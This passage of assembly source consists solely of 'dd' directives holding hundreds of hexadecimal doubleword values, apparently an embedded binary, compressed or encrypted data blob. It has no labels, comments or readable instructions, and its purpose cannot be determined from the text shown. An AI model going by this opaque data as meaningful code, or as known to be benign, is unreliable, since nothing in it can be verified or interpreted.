6E3A200h, 0C16971h, 92E8F7C0h, 0D624D16Fh, 0B304D200h dd 99B17FCDh, 0AF86001Eh, 0BCAC511Bh, 501E3D95h, 0ED00565Ch dd 7997650Ch, 0B4C201D3h, 0DA4917E6h, 24D7FCF6h, 3C003DF2h dd 0A932071Fh, 30749739h, 2AC81508h, 5D1D1AE6h, 3F406AA5h dd 0AF70CC14h, 0F7CB00BBh, 490531A7h, 7D126492h, 270EE893h dd 0ABAC0065h, 3D0F6F0h, 89BD7BB8h, 70997A30h, 9144206Ah dd 51F44A00h, 0E5959313h, 0BEEE007Eh, 807CE6F5h, 0C90A3461h dd 0A4411502h, 6D43F000h, 0A071D0h, 0DE90F45Fh, 9B0F8A7Eh dd 7C633700h, 2AC43E85h, 758E00ADh, 0B545FE95h, 0A600CBCFh dd 41A758B9h, 3CC9A87Dh, 591EE61Bh, 145A136Ch, 9F004E3Eh dd 0EFCFAF73h, 4B00D651h, 96ACF54Eh, 39EB5FB1h, 0A103C324h dd 5DF1C61Eh, 4DCD04F8h, 51E36014h, 126600F0h, 846EB83Bh dd 893D0097h, 0E28F02AEh, 0BF2EBB10h, 80390591h, 1BF5166Eh dd 1972103h, 827FA05Eh, 0F9CE9CD9h, 73A4E423h, 8A539628h dd 0EAD0C900h, 0D4414966h, 0A17001F2h, 0B45D95B5h, 440DFC37h dd 9C48CEE5h, 0A40032ADh, 3D86BD31h, 71D1FBh, 761653C4h dd 95E3F4B6h, 0DF0063F4h, 69DD09C3h, 72F10B2h, 1E3F56ECh dd 0EEAC04Eh, 431F7C1Dh, 0E2C29251h, 80EEF687h, 0AA89498Ch dd 2D97016Ch, 0E4DA088Dh, 0FCAC20FAh, 0D44CC507h, 1690D288h dd 1DF08EF9h, 0C46BA44Bh, 93A52BA1h, 2DA8B8BCh, 481FB4B5h dd 803DD25Bh, 0F0389541h, 907D6DD1h, 0CDCB00C0h, 0DBA02D75h dd 0AC1EEB56h, 0FD4C4936h, 499270DDh, 0EE00B4E4h, 0D5CB2DA7h dd 38009632h, 0A6E18889h, 9C3A0F7h, 0B930C506h, 1F909000h dd 8539BEF1h, 23A87C7h, 21D05D4Ah, 308D2EC4h, 0E428BCC0h dd 1800C1A8h, 0F9790BB9h, 43116Ah, 0A5A121A9h, 7EEC2649h dd 0A4239h, 0B95F8971h, 0CE46C612h, 1CC09C62h, 81E12F80h dd 0C0D65030h, 0BF3F7h, 0AD6FB1B8h, 6A8B2ED7h, 55C94900h dd 0FB625090h, 0EA740059h, 0FEEE2FD9h, 0B600F654h, 24891ADFh dd 3FD8BAh, 0CD9D143Bh, 1F76E2BDh, 9441E90Bh, 0B5FC016Dh dd 5220A504h, 0B6D815F8h, 4A00B8E8h, 0C2FD3986h, 35FABF45h dd 4B10EF00h, 0C09DA55Bh, 42548DDh, 0B3DA8700h, 46F57C8h dd 0BCDE000h, 187EDB91h, 0A909001Ch, 13A519AAh, 0E090DC33h dd 72942A00h, 673926EBh, 0D2230074h, 5A4D50A0h, 4B1D578Fh dd 84806621h, 0F99832F2h, 0B3541D13h, 0BB038009h, 834F70FAh dd 78FD9400h, 0C050B7E9h, 570B1A2h, 0C0AE39E6h, 0C34A664h dd 9D8A9B13h, 3D1DC000h, 40794C59h, 0B21F20F0h, 0BA833866h dd 0B0BD1B91h, 0EA9C4BCh, 0CCC6C151h, 182F3E09h, 92CC40F3h dd 7277EA93h, 0B7DB3600h, 8BC7C3E0h, 19490A1h, 99AE5639h dd 23D229F2h, 443C0BACh dd 0EC9E0030h, 0E904E69h, 6DD4A66Fh, 0F4AF0F40h, 0BC00933Fh dd 8160FC7Eh, 28272BDAh, 0E9D841C9h, 81020h, 6C537328h dd 29C314B2h, 0D4BC1A00h, 6DD07E59h, 0B1D9003Ah, 0AA288E18h dd 487689F7h, 570F7190h, 801D73CCh, 9E1C6743h, 413E0081h dd 0C2CDAF02h, 26009D44h, 5A5BC31Ah, 0CB7B92h, 439F1C0Ah dd 0EE653B82h, 15A0F300h, 0A178BC68h, 470B00D9h, 928B466Dh dd 263BC2F7h, 0EC7D8206h, 0E0F3A674h, 54AC53Ch, 0FFEBBE34h dd 50E8C069h, 6000E3A5h, 119B5F4Fh, 1709067h, 0FCF5F303h dd 409C537Eh, 8CE88EA4h, 9998E728h, 912FA800h, 0EA23B00Ah dd 46D000F9h, 2B059E45h, 6E18FB99h, 9C305B7Fh, 0A616022Ah dd 1378E30h, 0D1217069h, 2CD3FC31h, 9BF5A900h, 0AC30E267h dd 0B36400EDh, 95481643h, 0C80F8B57h, 83A6E8h, 9E88EE2Ch dd 991703D8h, 9547DB07h, 7303D87Ch, 3027A8Ch, 82ADF8CBh dd 0AE8D0005h, 5E501FD0h, 7E0F3078h, 0E05603C4h, 1D2B81E8h dd 8C101F6Fh, 886D005Bh, 3DFA652Fh, 33550701h, 0F11585B1h dd 3FEC5D71h, 77A700A8h, 5D29E61Eh, 0AB041DF6h, 1B820822h dd 0B8CD4880h, 13550098h, 0E706DF9Dh, 8507622Ah, 5E1E466h dd 86616531h, 2DE9CCCh, 0A501E20Bh, 1886118Ah, 9F0E111Fh dd 61D20525h, 554FB24Ah, 1A074828h, 0E0F8AA80h, 1F5CF2D7h dd 0A361DF00h, 42DD174Eh, 518112F4h, 4C9045F8h, 441C006Ch dd 4AD65987h, 725B6703h, 0E7CBC8ECh, 27A7DF80h, 79037CBEh dd 0D07AACh, 0F9CE5D4Fh, 650E14C0h, 0F3067900h, 37A4B14Ch dd 82220053h, 6A09D396h, 0FC005AD8h, 273B2C1Ch, 30C751h dd 763FEC9Bh, 4AF33692h, 0C0C66E1Dh, 0A3DF2600h, 0F2DDB85h dd 8218B9BEh, 973C3A0h, 31C05DD2h, 13E59868h, 0AC2E543Bh dd 97853783h, 500580C8h, 4E1916B7h, 3878B488h, 6CF01447h dd 0E1C1C4h, 0F8B7FF6Ah, 0E7E34DBCh, 0C60C8500h, 141C9D21h dd 93C80071h, 4E8615C5h, 0E500A6ECh, 68BE5442h, 3F836736h dd 690E97B5h, 0F680AE22h, 92FA19C0h, 0B30E5F07h, 55C39E0Fh dd 5023A8F0h, 3BE738Eh, 0F2B44BCFh, 54902C6Ah, 512E0519h dd 0F6004F08h, 92D8320h, 7C50067h, 33AB1F56h, 71F80CCAh dd 58129E00h, 8AB83AA6h, 0CF59004Fh, 6CACE355h, 0C116FE89h dd 0E0008012h, 6DF27243h, 0E6810051h, 0E4ABBF07h, 4C7361EAh dd 92EBFC0Fh, 48A78075h, 2E834D8Fh, 27A03F0h, 91E3EACAh dd 0AE07A4ABh, 0B804505Ah, 1366FEB4h, 21F509h, 9C5BBBEEh dd 19BA60Eh, 703B7800h, 97C485F9h, 0D39E0139h, 0F7084A19h dd 63188316h, 0A71203h, 0EBADAE41h, 0C64534C0h, 4C92DF0Ch dd 0C0B508EEh, 0C0D18C21h, 0EF011167h, 0E7457BD0h, 588E91BEh dd 0B3801084h, 0EF5185F8h, 0B6030D9h, 0C0082218h, 0C4EE453Bh dd 0D08D40A1h, 0F0B23C0h, 508E4A72h, 0F12E9B60h, 0AB77F821h dd 0BDE629C0h, 3917E08h, 0A5B44559h, 69E6C4FDh, 0D7010B71h dd 85C694E2h, 2FE44EACh, 0EC10C1D2h, 28E3C1FBh, 0BACD00B0h dd 98755217h, 0F9F30C16h, 7E083E83h, 10D521C0h, 0F67252h dd 0FCA97455h, 9384E2C4h, 886C450Fh, 6D414FAh, 0FDF456E1h dd 0C090720h, 4025F66Dh, 0F31176CDh, 2086A202h, 0C040A9C7h dd 1DA8951h, 79210445h, 0D82C7843h, 1700FB7Bh, 2B0ECEFCh dd 0F5A36A4h, 9841CF53h, 9E24F1E0h, 47008DE0h, 9BFC685h dd 7A197DFh, 64398BA8h, 0CBCDA068h, 0D03C545Dh, 1CC1002Eh dd 25701B48h, 1A6200C0h, 0B9FF1265h, 500CE3Bh, 0EC408FBBh dd 251BF2Eh, 93D1D88Bh, 6CE0A539h, 0F50F5EB9h, 8E2ACFADh dd 0FBE980D7h, 72054888h, 0DB4003A9h, 5CC5B23Dh, 0C72AEF0h dd 0A330F761h, 49F8F114h, 0E9277EDh, 0BEEA7A53h, 0BB21898Ch dd 0A3DF800h, 0A4F02BEFh, 0B6A8065Fh, 50ADA923h, 67CBEC0Eh dd 8203BF81h, 1A56F1D0h, 40873518h, 48789341h, 3D04EF38h dd 0BEA2ED1Fh, 0AEFC31h, 3DF6B5h, 0E6FD5E0Ch, 64AB04FBh dd 0F235900h, 6F799CC7h, 0C73D7D16h, 4183F431h, 80AC4C53h dd 0E5774D11h, 0C1EDEBCh, 1F27F8F0h, 21C0B808h, 6AE57AEDh dd 2AFF0CDFh, 115136A9h, 1A000998h, 0F2B9C214h, 0A95062F8h dd 6DC4C3ACh, 3B28B66Ah, 49B8228Fh, 20F28D66h, 6D4B1C00h dd 613493D5h, 5C9A018Ah, 8BDF4C10h, 0C651B813h, 646CA102h dd 8931302Fh, 6D881E13h, 1D71BD1Ah, 8E058778h, 18975C7Eh dd 5F605018h, 0D810C045h, 9AEF0534h, 0F4873B00h, 0ACEF8F7h dd 51B93A93h, 200E8D8h, 0CF5D2EF9h, 9A003657h, 989B6DBFh dd 0EA95B519h, 3CB80083h, 12DAB3E6h, 0F3011EDCh, 21A918BFh dd 7DC07CF4h, 241900DFh, 0FC286F20h, 9100F36Bh, 0AD5E952h dd 6E803Fh, 0B1DAB6DBh, 0A7095802h, 3E67C101h, 20D8BE21h dd 0ECA9F70h, 0C63CA2BDh, 81DA74C0h, 8F00E80Fh, 5875CE6Eh dd 3ED79038h, 500C79D2h, 1E186B44h, 4D2CFF00h, 54BD4BD8h dd 38C001Ch, 0F977116Ch, 3C07C43Dh, 20F29CA1h, 0BCCBABC0h dd 46BF0043h, 60DE1B39h, 0BB000770h, 7604A2A3h, 401F9950h dd 0A700AA0Ch, 0DEF4887Dh, 406F38B1h, 5F188101h, 0F5D879D7h dd 24671D3Bh, 0A3878059h, 773D723Ch, 0FE47DA02h, 0FD8BF4E4h dd 7B1D9B80h, 87FC26Eh, 78035A74h, 0F95CA211h, 0FAF038F1h dd 81F5B883h, 80A49946h, 670A9FCDh, 5C5E8F00h, 0F93B1627h dd 0B8E40082h, 0B46BB1E5h, 9878F5D4h, 8FFEE200h, 49025A89h dd 0CCF400D0h, 0D69F2AADh, 0E1189BDBh, 9E61F3FAh, 84700092h dd 6BA876C2h, 0F800FC3Bh, 0BF7F8E0Fh, 16B76429h, 0FE4B8B2Bh dd 4DC5300h, 1C41038h, 72221449h, 0D47A92F5h, 10003BBh dd 0A10E269Ah, 10CA559h, 0E1CE9057h, 838D6955h, 0A6F0E470h dd 783F98B4h, 87E906F8h, 0D8AD6320h, 25339724h, 0A1FBFE0Ch dd 0C06A7893h, 5BFDC538h, 8F0019D1h, 0F3EE2A23h, 0D0F15h dd 0BB21E9AEh, 0B090DB4Ch, 6010A405h, 43C0AB7Ah, 57F0CFh dd 0F4A254E4h, 301EED4h, 950798ECh, 0DCC36F8h, 7D94BF80h dd 69513DF9h, 0E2026E00h, 44DB0C8Ah, 11E8C1Ah, 7AF14012h dd 4BB8F0h, 0E33A728Eh, 78F6C2D1h, 6A00AAF8h, 213FC695h dd 4EEC65h, 221A9118h, 7FF9E76Bh, 8600E4E4h, 7B8F2090h dd 0DE5199FAh, 92590038h, 5DEF0624h, 0CBF49E19h, 219C5709h dd 0E93EC0B9h, 449B88E2h, 0D4890F0Fh, 294FC08Dh, 37EFD9BFh dd 0A1A020ABh, 0BC900F3Fh, 0C0A60038h, 91C8780Bh, 26CD1F54h dd 4FCB066Fh, 0B006D890h, 9E0C3A9Ah, 0F05A0031h, 176285B4h dd 0FD1D5FD2h, 603BD3BEh, 0B5FBCC21h, 1CAC0080h, 3028D85Ch dd 0E30067A7h, 0D42687ABh, 1627A93h, 8EF97CD2h, 5097A57Bh dd 3F249574h, 0C921EF7Bh, 7BFE08F5h, 0C5018410h, 0DF454E6Fh dd 7DCE60FBh, 9DFC6604h, 0BA1EF0h, 25CE9532h, 46004385h dd 0B737687h, 0EF9FA4Eh, 0E571806h, 6ED6F2C0h, 4000B4BFh dd 46A66CB2h, 0F8E1A88h, 1FAA4C79h, 49B400F7h, 71F5FD4Eh dd 0EF02A11Ch, 50F2BD80h, 1CDA0F03h, 40F6FC55h, 89DF917Ah dd 7000D0E8h, 0D7AC4A7Eh, 192C0F1h, 51FA30A7h, 0E5D9F5C6h dd 0C914D805h, 12C3FD00h, 41DE820Eh, 0A54200BBh, 0FE0D92A8h dd 2DE89B11h, 0BD201760h, 621BBDAh, 0D3C79162h, 500039DEh dd 8BB9C341h, 7DEB9280h, 872F3A3Bh, 0CF687CB1h, 0C5288C7Dh dd 267E08DDh, 0ECE3ECh, 0DC749E72h, 0FA3034DBh, 5D03690Bh dd 0F978001Fh, 73168467h dd 0C40CF753h, 0C8937F41h, 1C49CE15h, 24C6B083h, 9B1148h dd 0ADCF0140h, 6659C250h, 210D089Dh, 40C96400h, 0FDE03799h dd 1FE1E015h, 3FB1C1h, 0FE1341D8h, 660730A3h, 6B29D774h dd 0D8FD05F3h, 4C92ADEEh, 3005413Ch, 20B20E1Fh, 340363Ch dd 3F9DCF23h, 9E1F52C4h, 0ED58C43Fh, 0E4AA1210h, 0F74C0083h dd 9BAD6037h, 6A00E078h, 9F52670h, 3873D43h, 62188E12h dd 80100E71h, 0CA00C7BCh, 36CEA0B9h, 1D00D9B2h, 10BD568Ah dd 6C391Ch, 90CCE1E4h, 5C47E52Eh, 98B70503h, 0F0256F66h dd 101F87h, 0E0160D03h, 0CB1D0D3h, 0C0CFEC1Fh, 0F50B3481h dd 6CE88807h, 81FB0308h, 0ADDCE849h, 0BB5691B0h, 39314E1Eh dd 0AB96DD41h, 0BC8D2A6h, 81650237h, 0AA4F6AB1h, 0E84D0E41h dd 90361BAh, 0A9596E20h, 0B5D8B81Ah, 97680099h, 0CC245392h dd 703B7D2Ah, 4D1E9FD4h, 2200E92Ch, 0C80CA4C7h, 0D818C0E4h dd 0F2668674h, 2BCFD303h, 0C785D47Ah, 77457630h, 8952064Dh dd 881A562h, 1621D860h, 0F02F50FEh, 0C91100BBh, 0A791D3CAh dd 0D40396E0h, 55A33901h, 648789DAh, 486A2F70h, 406000E9h dd 6CDD4DACh, 0AD3C5C28h, 0E2401E52h, 7BE23002h, 6EC47600h dd 5D2FAE79h, 50BC60A4h, 71EAAF4Dh, 0AC7DD3Ch, 34BE3C7Ch dd 602DE208h, 4F584575h, 658C5A43h, 4B487954h, 777A030Dh dd 0A655BDEDh, 1FDB0020h, 51A1DF1Bh, 840F2E89h, 548C70h dd 0C9CD583Fh, 837B01EAh, 0AEB97766h, 0C8909716h, 0A2D0FA00h dd 5CEE6Fh, 0F81A46A0h, 0CDD5D97Eh, 0BE0091F8h, 6C9D3A3h dd 0F48E17h, 0AC8C4908h, 0A6B7CA75h, 2C1D7904h, 54802836h dd 7E25C70h, 8D25E8B6h, 0C020DF9Dh, 55F2BB6Ch, 84C58F01h dd 584EE634h, 90D5D8D7h, 8AC301AFh, 5A155666h, 7FB7E4D6h dd 3200057Ch, 506EDA19h, 3DB0E8D2h, 0C9031644h, 5191D5B9h dd 8CB8C6EBh, 791F8034h, 0B700BA28h, 94D17BE3h, 0DAB901C8h dd 0C79EED57h, 106FC04Eh, 0C3963Dh, 0D80F11D2h, 8A1225h dd 8C02D5A2h, 5F51FC22h, 0C6313F01h, 721AA7Fh, 0E68067D1h dd 3BFCFFCFh, 20EA600Eh, 0FD623100h, 2CC78173h, 0D18B6059h dd 94B86C50h, 0B9C1AA00h, 51830174h, 590B0020h, 0A35A23DBh dd 0E400CA48h, 0D06A4793h, 0F4461Fh, 82BEB595h, 0B7C3757h dd 1814BB30h, 6283DCh, 0B22F72FCh, 171A293h, 30EF300h dd 1499E4C9h, 568310C5h, 7E4C070Ch, 0F3693B7h, 1AB80010h dd 0A8534679h, 83006D90h, 0D4C95B36h, 7844E6A7h, 0A15A3C84h dd 90FFC28Eh, 7402F960h, 13052CF4h, 0EE7F8FAEh, 0FF799801h dd 3770F1A4h, 50760183h, 6EEBF32Eh, 14C09C43h, 0D7138DC0h dd 3C0F3Dh, 0A034034Ah, 0C3920E2Ah, 45270D00h, 0F08B4996h dd 5C643DFDh, 4A2C5A01h, 0B820B779h, 0F66680D9h, 3751DF8Eh dd 39B03D0h, 5DDD9C72h, 1B801AC3h, 4AEE9167h, 7E400401h dd 0B63A8B21h, 0B8BBE0h, 0F73DD69Bh, 60A2FD1Ah, 0DC00787Bh dd 86F3E259h, 9531AEh, 9664DFEEh, 0BC7D34D5h, 6CE1DA00h dd 0E263B185h, 1CB303C5h, 1D289E59h, 80D5E6A1h, 63BBCC20h dd 0E90A5DECh, 0F37D30h, 0E3B5A7D6h, 3101F090h, 8AB058C0h dd 15C3585Dh, 307CF3D4h, 0B163B800h, 58CA1BC4h, 0D2822084h dd 63A08700h, 44F10949h, 35D13E8Eh, 400B59BBh, 0F01B048h dd 80FD031Bh, 5DB46591h, 0C0E8271Eh, 0F3FEBA11h, 0FA031915h dd 0AC5FB178h, 60A30Dh, 8CA71C21h, 0ED9F95B0h, 8A79EE26h dd 6AD6FD00h, 3C494F2h, 29F75F59h, 0B7E007A8h, 0BA28725Dh dd 0EA0430E6h, 0DA18FEA0h, 10236362h, 0A3A08FF3h, 0A8C589B5h dd 0E31388h, 0CD1E6086h, 0ECCA44CFh, 656D3D02h, 80E241DAh dd 4BA4B6ABh, 18DE06E8h, 2129E9BEh, 0BA1EAA71h, 0EA408671h dd 1044D73Bh, 0B50600E3h, 0AD3CCD13h, 0BE179916h, 9400527Ah dd 47952E6Dh, 0DB3A00A5h, 7C2ABB17h, 70EFF38Ch, 0D4004039h dd 0DC3294FEh, 3A26080Ah, 44B91FB3h, 371D0189h, 6623CB80h dd 0F3B0892Dh, 0A9FCBA0Ch, 8C8850h, 65B05A41h, 0A324E1A4h dd 6E0082B0h, 97842C3h, 2E1F1CFAh, 8C4906h, 0CB347EDFh dd 7F06A502h, 4801ECBBh, 22171C90h, 0E38B4042h, 3C1ED2EEh dd 0E475EA72h, 8EB02D6Ch, 9B0703C2h, 0E565BDA7h, 7D3C2802h dd 0E0B483CAh, 1FD395Bh, 0C06EA21Ch, 0E01B7A3Bh, 0E90C504Bh dd 48DB560Ch, 30717B41h, 0CF784FD2h, 19C0D33Ah, 0A5142A5h dd 0FDDC0861h, 8D1F261Fh, 0F6D3FF80h, 0E3D2DA24h, 0E65EF8h dd 0D6E86E56h, 0BC151471h, 0DF7E5A70h, 97078A70h, 70C84AC5h dd 0F937AC50h, 0CE980044h, 3D8D2F88h, 0CBF90F5Fh, 70646999h dd 500DDE1h, 3C8783B2h, 0F166C7h, 0E05B44BAh, 23FE28E4h dd 0D19F6B0Fh, 82E000Bh, 7A4B4CCCh, 0AEA63A5Bh, 0B17D320Ch dd 8273DC48h, 0BB0080F6h, 1468E742h, 0B56AA8h, 164E3B3Dh dd 0E5564B75h, 0D531DA03h, 88E8F767h, 0E935FCh, 1EB8B7EBh dd 0C62505D1h, 0C928940Fh, 806940C4h, 21A640h, 4AC843EEh dd 0F37E9A9Dh, 70037D1Eh, 3F74AD40h, 12A3FBh, 234A05F6h dd 733B8FCCh, 0C5256800h, 50B7EA98h, 0FFEF00A0h, 0BB276FB5h dd 5400D3E8h, 8A5E5F8Ch, 0B62248h, 0C6D9B113h, 36B2DEDDh dd 0BB874300h, 78F746F3h, 0F0771D6Ah, 3F374359h, 6580A9B3h dd 4D606DEEh, 10815021h, 2D4A0011h, 20F0F6DCh, 2A00F1C5h dd 0A4CC1359h, 33F826Dh, 0E345EDA7h, 38009ECFh, 63F8FB5Ah dd 1B7C3291h, 188258C2h, 0BC0875E9h, 0FE012E20h, 30DFD00h dd 0E8111385h, 0F17EB8D7h, 3B7398E4h, 53877187h, 631585C4h dd 0DC83D767h, 0C3294100h, 9AA37248h, 1C2D00A7h, 0BF26354Ch dd 5503FFC0h, 0A17BB33Dh, 3E808C3Bh, 3C018Dh, 84BBE963h dd 0E5DDF6E7h, 0D58B2D1Dh, 6BFC69C7h, 2E72D850h, 7C310047h dd 287A4663h, 6E005C91h, 0EE75DFD4h, 0C1D10596h, 213B8B31h dd 689FE47Bh, 39E6DA00h, 8FD95344h, 0F7B5002Fh, 0CBD3D1F5h dd 8EE87ABAh, 0BEA4D001h, 0C595E194h, 7CA25EE0h, 0DDD5007Fh dd 0DE4C26E2h, 0C2005C37h, 0F4600AEFh, 3E82ECDFh, 0F10F4F7Bh dd 68234E81h, 0B8C1D5C6h, 800321F0h, 0BCFC1F40h, 0C59215h dd 892102E4h, 78A51E48h, 0E0E17C01h, 604C3143h, 0E4C5D5C4h dd 0ADB84Eh, 6DF0E7B0h, 0B4AAF61Bh, 116593Ch, 0D079D5D2h dd 7885711Eh, 0C0B31BA0h, 7C4BFCB7h, 0EFCC1C00h, 7302B003h dd 6860FCE6h, 502C98DCh, 0F6786B2h, 0BF66048h, 0B7410CF1h dd 0EE19D783h, 230A43FCh, 84679FCFh, 0B3DD8D05h, 0D95E8800h dd 29BA2FFDh, 198E7F4h, 1C6A3B9Ch, 0D6BBC0C8h, 78244E00h dd 0BD937F7h, 0D8F22Dh, 0C1AC3E20h, 8363BD2Ch, 89444500h dd 0EF366995h, 273D014Fh, 646A6837h, 872451C9h, 52E400D0h dd 21CF0389h, 5F795C69h, 87F1900Ch, 0CD2B90Bh, 7CA3343Fh dd 4A5D111h, 0A8EB6AF8h, 1F3D5494h, 0C0063B93h, 35CE3836h dd 2207FF03h, 535BC41Ah, 8824CAC3h, 0E5F2ADh, 6B296EE0h dd 0DCC2EA13h, 66005DEAh, 0D005FF73h, 0FCF0BBAFh, 3DFB07B6h dd 811B2963h, 30B3D88Bh, 0BC0F77AEh, 20CBDA52h, 2C7181C5h dd 760A059Ah, 0C0DBE623h, 3EFAECC9h, 0C400AAFEh, 10A60256h dd 3617F5h, 857E4DADh, 0B36F4762h, 28EAA300h, 4B066BD1h dd 93B055h, 0EF8DBEF7h, 395DAEF9h, 7A6CB800h, 0EA42C770h dd 0D8F53B75h, 55D32400h, 9E4B92BFh, 0BB265914h, 0F3AF00C4h dd 4FE34617h, 9110007Eh dd 114DC835h, 0E0007B83h, 0A2F55676h, 6B1F18h, 0AFD3DC44h dd 4BCF1BCDh, 3DFE2F01h, 0D880E83Fh, 1D84FFD4h, 4081AC1Eh dd 96DA0C2Dh, 0A000AA10h, 0E4C7AB42h, 7839A2h, 5DDDB01Bh dd 89C3F9B8h, 11D43450h, 0A4525A38h, 9C002583h, 7B1EC7Fh dd 13570E91h, 0FE80AAD2h, 98EA8725h, 2EA7F60Eh, 80304E55h dd 88E9928Ah, 5774BEh, 0AA4C369Dh, 0B9F8ECB5h, 8802D824h dd 4EF0A300h, 0BF2B53h, 9E3A158Bh, 38866C9h, 95244507h dd 2650B767h, 1D3C92h, 0F5ABA0Dh, 0F5AE1E87h, 7F7DA700h dd 0D3BB2DC3h, 0FA3305DCh, 1D89B7E9h, 9B4F40F8h, 7D362F26h dd 14FD7E00h, 81A425CEh, 49F40367h, 6854F0C2h, 479DEC8h dd 110B1A00h, 5DD5038Dh, 660A003Ah, 3D42454Ah, 2400884Fh dd 0ADECC00Dh, 1B1949Ah, 0A0CEBD7h, 0E813553Bh, 0E20F3FA2h dd 0C0FE66EDh, 0CAB35A53h, 3E64007Ah, 1A24120h, 0A5002BBAh dd 33D9EAC1h, 0B291AC6h, 0C3ABD1BCh, 1F79D280h, 0D5035AEDh dd 11F57A10h, 2A43904Bh, 0B434397Dh, 67943F00h, 8B92FFBAh dd 9A103530h, 0CB583Eh, 0FBED7FA6h, 0BC259559h, 0E7542102h dd 40DE4E29h, 778506AEh, 0B6D5002Ch, 0BB485BEDh, 0AA001668h dd 4F70A5BEh, 243D0D47h, 648BFF5h, 58A6C004h, 3EAF0800h dd 1324814Fh, 8BF900A4h, 324B9905h, 6C00BECFh, 5E162AD4h dd 96D386h, 231B8A52h, 274A9148h, 0D492F104h, 0F601BB3Ah dd 0E830936Fh, 2D014C42h, 0FEEAC854h, 8E219CE3h, 88FD95FDh dd 0D889E443h, 3E3DB881h, 0E6AAE961h, 46B000F0h, 4B393C2Eh dd 6001B933h, 861C61Bh, 8E60E7ECh, 0F4F2A25h, 0B5775Ch dd 0ED72B713h, 0F9EC1CD8h, 65E1862Eh, 4C830D03h, 0F05CE88Dh dd 5A960FE6h, 0A6093772h, 0C861808h, 553EFE3Ah, 88E98E24h dd 0A61D0D00h, 7AC298Dh, 5C9D2BE2h, 74A0A006h, 0B8307813h dd 6D23E0B5h, 547A9Ch, 6780DEA2h, 9B7CB177h, 56F02C54h dd 0B720C300h, 1E623398h, 7F8B0068h, 7147626h, 4207822Eh dd 0FD40969Bh, 19C41FD0h, 2F200F5h, 9323C236h, 8901EC25h dd 0E2D1663Bh, 2489B6ABh, 0B4837F2Ah, 6080A838h, 3B00A2B9h dd 0A52536C1h, 157DD1Ch, 1D9C708Fh, 8FF7D818h, 20A131D8h dd 0B0620C4Fh, 23EF008Ch, 3DE04D01h, 0A307F069h, 57607770h dd 0CEBD43F0h, 992A0EBFh, 401E85D8h, 0DC719AD6h, 0BA0040B5h dd 0CA685093h, 0A924ABh, 0FBD0A8F4h, 0D2ADE53Eh, 8C00FA70h dd 35903D5Dh, 3BB812h, 60C9CE81h, 4841CF58h, 0B5051A00h dd 6ABCBDD9h, 0EF8E3E7Ah, 0CA7D068Fh, 0DE035BA9h, 0B4909091h dd 0E1489BFBh, 0B39A0014h, 24DBF8A6h, 0A3DC005Bh, 0A1ADC675h dd 0BD03A0B0h, 91C73325h, 0EFFCA07Ah, 0AC1C00FEh, 6874AB73h dd 0F8000EFDh, 0C99159E1h, 1E484304h, 410BDAh, 7B45B323h dd 9B049276h, 0F799CC7Dh, 1F52B480h, 0B9EC0058h, 4F811AD7h dd 3700CDDCh, 0E95AA869h, 260ECFC1h, 0AD7E23h, 77CC7AE2h dd 430E9ED3h, 2053385Ah, 0F8E3FAB7h, 60E90098h, 0DE8B2A6Fh dd 7D01CE66h, 0F3CA0229h, 7020A49Bh, 8AC50051h, 24A1F7C6h dd 0E8B20E9Ah, 47222907h, 4AF2688Fh, 35ECA0D6h, 48FB2145h dd 272470E7h, 9F31365h, 3C009F18h, 0EE8BE611h, 0D0684Ch dd 1FDBBEA0h, 4C1998Ch, 0B606A629h, 68C090DDh, 32125FE0h dd 0DC40E493h, 71939ACh, 0E8E6007Eh, 880F5990h, 0C70A8441h dd 3CF88970h, 4D3A80BEh, 40696A64h, 0E5EB002Eh, 0E0B34CAh dd 57B038FBh, 957B0900h, 9682CD45h, 8F5094Dh, 0A000024Eh dd 0D4CF3760h, 347AB00h, 965F09AFh, 73A37A81h, 0B9CB0029h dd 9B9A337Eh, 0E5703865h, 1BA59600h, 0CFF9B2F5h, 48BAD6h dd 6CCC55BDh, 1D9B91Dh, 0A1FB5200h, 427A6D34h, 31D400B5h dd 4E05DA87h, 9D00EC63h, 0A315C750h, 0EE5203E0h, 0B4A900B6h dd 0CBEF93BCh, 0A03D6F8Fh, 0A16C480Ah, 14608103h, 24017588h dd 844D51h, 94B1DB1Dh, 0C5F8A864h, 5906D0EBh, 0E05E322Ah dd 0C05D1B0Eh, 0FCFC6A0Bh, 88DF8CD0h, 82F61BBBh, 758D9000h dd 2EF86B79h, 64594CB0h, 2624B300h, 639732E2h, 0BAC4B00h dd 0A3E0F3F8h, 98BF1F42h, 66768312h, 1C08B2Eh, 600547Ch dd 0E8A2CACBh, 4C4D9DA0h, 5205A85Bh, 9A1DE7h, 76782ED8h dd 3C09E36Dh, 216C63E2h, 44743944h, 0C33B020Ah, 0E6F2C7h dd 75D91123h, 5E005BF0h, 598E16E8h, 6B31A273h, 0CF00F094h dd 4C9D085Fh, 0D500ACF8h, 0DEB121F1h, 0ED6C1Eh, 5E689027h dd 364FA4CFh, 5F1D0403h, 7745C6h, 9D629B20h, 444C0826h dd 0B600C773h, 3509CBD8h, 3BA2B2D1h, 60E365EAh, 1C836213h dd 0C5D01D81h, 0BF7FED0Fh, 42550049h, 76BF3268h, 0DCE000C8h dd 238449DEh, 0EF2C969Ah, 0D93A59AAh, 0C0F500C8h, 0EB8F0335h dd 4C35910h, 0B8C88805h, 31B88CA2h, 6BBB40h, 87334CFBh dd 4AA75AEBh, 0F7B6DA01h, 0CF39235Ch, 29C291F4h, 3E82DF2h dd 0E53544D0h, 38AC00D5h, 372CFF4Bh, 0ACB51600h, 7EAD08A8h dd 777300FEh, 56693E0Dh, 470E232Ch, 848F8AEEh, 40B07CA7h dd 0DA452461h, 0CEF58BF8h, 0EF0CC020h, 491770Dh, 8137F380h dd 0EA6AA17h, 1309952Dh, 7800B769h, 42012A2h, 28E04900h dd 30733435h, 0C9B300D9h, 0A651DF2h, 1900468Dh, 7C56EC71h dd 7C3E092h, 9A8BBFBAh, 9552B02Ah, 78160B5Ah, 0D84F175Bh dd 7B007150h, 4FA9F43Ch, 5D000A61h, 8D9DFDE6h, 182D217Fh dd 16C56FB2h, 0EC723ED2h, 28109603h, 0A820DDC8h, 0B0CBB49h dd 0F8FFEFDCh, 47150A80h, 0F404FBAFh, 76558E5Bh, 0DAAB5891h dd 0CAA0D857h, 0E836B2h, 322847B7h, 95890981h, 92A06700h dd 0F85271CCh, 72BD01CDh, 0BF0D0A15h, 0A0F04C5Eh, 0DEA8BA5Ch dd 1A5B85BEh, 0B4309DFEh, 8092BFh, 840B167Fh, 1FE95E2Bh dd 67B87C0Fh, 60B42F20h, 0C072A129h, 8AB62E60h, 0E8DE40C0h dd 4D76A45Dh, 0CE364A13h, 38D36C05h, 66FB1892h, 